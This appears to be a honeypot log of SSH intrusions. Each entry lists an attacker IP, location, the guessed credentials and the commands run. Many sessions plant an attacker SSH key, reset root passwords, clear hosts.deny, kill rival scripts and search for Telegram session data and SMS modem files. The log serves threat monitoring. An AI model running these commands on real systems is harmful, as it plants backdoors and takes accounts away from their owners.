$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5ulfKgZ1mOWx"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 seoul_root_2 (115.91.48.142) — Anyang-si, South Korea · 1 session · 19 cmds

2026-07-08 23:12 EDT · as root/n3wp@ss

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:xnx9hhOTctEt"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stein (91.107.251.176) — Frankfurt Am Main, Germany · 1 session · 20 cmds

2026-07-08 23:11 EDT · as nas/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "password\nixMQ7U9PZXzx\nixMQ7U9PZXzx"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nixMQ7U9PZXzx\nixMQ7U9PZXzx\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 clog_root (2.57.122.150) — Amsterdam, The Netherlands · 2 sessions · 18 cmds

2026-07-08 19:04 EDT · as admin/1234, root/123456

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×2

$ /bin/uname -s -v -n -m 2 > /dev/null ×2

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×2

$ busybox uname -s -v -n -m 2 > /dev/null ×2

$ ( [ -f /proc/version ] ×2

$ [ -f /proc/version ] ×2

$ head -1 /proc/version | cut -d -f1 ×2

$ [ -f /etc/os-release ] ×2

🎭 eagle_root_5 (75.91.61.129) — Hobbs, United States · 1 session · 9 cmds

2026-07-08 17:51 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 panda_root_8 (94.191.106.186) — Chongqing, China · 1 session · 1 cmd

2026-07-08 14:51 EDT · as root/jimster#2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 panda_root_9 (180.119.209.212) — Nanjing, China · 1 session · 9 cmds

2026-07-08 13:17 EDT · as root/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 bonsai_root_3 (68.178.167.13) — Chiba, Japan · 1 session · 1 cmd

2026-07-08 12:16 EDT · as jimster/Jimster2025.

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 clog_sol (91.92.42.61) — Eygelshoven, The Netherlands · 3 sessions · 3 cmds

2026-07-08 11:09 EDT · as root/AA123456, root/Qq123456, ubuntu/password

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 monet_root_3 (161.97.115.117) — Lauterbourg, France · 1 session · 1 cmd

2026-07-08 11:54 EDT · as root/jimster!2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 jade_root_10 (14.103.115.80) — Beijing, China · 1 session · 20 cmds

2026-07-08 11:51 EDT · as james/jamesjames

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "jamesjames\nAk986Rp9nz9d\nAk986Rp9nz9d"|passwd|bash

$ Enter new UNIX password:

$ echo "jamesjames\nAk986Rp9nz9d\nAk986Rp9nz9d\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_6 (69.55.49.30) — North Bergen, United States · 1 session · 1 cmd

2026-07-08 11:28 EDT · as root/jimster$

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 dutch_sol_3 (45.153.34.15) — Eygelshoven, The Netherlands · 3 sessions · 3 cmds

2026-07-08 10:16 EDT · as root/AA123456, root/Qq123456, ubuntu/password

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 bistro_root_4 (92.205.239.91) — Strasbourg, France · 1 session · 1 cmd

2026-07-08 11:09 EDT · as root/Jimster2021

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 blitz_root_4 (77.90.185.88) — Augsburg, Germany · 1 session · 1 cmd

2026-07-08 10:49 EDT · as jimster/Jimster@1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 wraith_3 (189.244.53.155) — Torreón, Mexico · 1 session · 20 cmds

2026-07-08 10:08 EDT · as mahendra/mahendra

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "mahendra\nMzMlACa00jhF\nMzMlACa00jhF"|passwd|bash

$ Enter new UNIX password:

$ echo "mahendra\nMzMlACa00jhF\nMzMlACa00jhF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_10 (103.243.26.174) — San Po Kong, Hong Kong · 1 session · 19 cmds

2026-07-08 09:07 EDT · as root/musa

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:WbAPPgAkoNfN"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_6 (167.99.4.252) — North Bergen, United States · 1 session · 19 cmds

2026-07-08 09:00 EDT · as root/iwYpKi9&oE36.923967E-3103Xy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:eSR4pb3Zclzv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bistro_root (207.180.223.44) — Lauterbourg, France · 1 session · 19 cmds

2026-07-08 08:31 EDT · as root/AA123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Gsicn7Dj9ODU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_27 (43.160.233.2) — Singapore, Singapore · 1 session · 20 cmds

2026-07-08 07:16 EDT · as admin/test1

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "test1\nljxm8FdhNNTT\nljxm8FdhNNTT"|passwd|bash

$ Enter new UNIX password:

$ echo "test1\nljxm8FdhNNTT\nljxm8FdhNNTT\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_12 (156.245.246.50) — Los Angeles, United States · 1 session · 20 cmds

2026-07-08 06:35 EDT · as test/0

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "0\nKsHuWfxdC59p\nKsHuWfxdC59p"|passwd|bash

$ Enter new UNIX password:

$ echo "0\nKsHuWfxdC59p\nKsHuWfxdC59p\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 autobahn_root_6 (157.230.18.133) — Frankfurt am Main, Germany · 3 sessions · 60 cmds

2026-07-06 05:41 EDT · as gmodserver/gmodserver, ubuntu/aA123456@, user01/123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "aA123456@\ni4PFW3iN458K\ni4PFW3iN458K"|passwd|bash

$ Enter new UNIX password: ×3

$ echo "aA123456@\ni4PFW3iN458K\ni4PFW3iN458K\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "gmodserver\nGFZ4371apF2H\nGFZ4371apF2H"|passwd|bash

$ echo "gmodserver\nGFZ4371apF2H\nGFZ4371apF2H\n"|passwd

$ echo -e "123\nRWcv1EoyfDcn\nRWcv1EoyfDcn"|passwd|bash

$ echo "123\nRWcv1EoyfDcn\nRWcv1EoyfDcn\n"|passwd

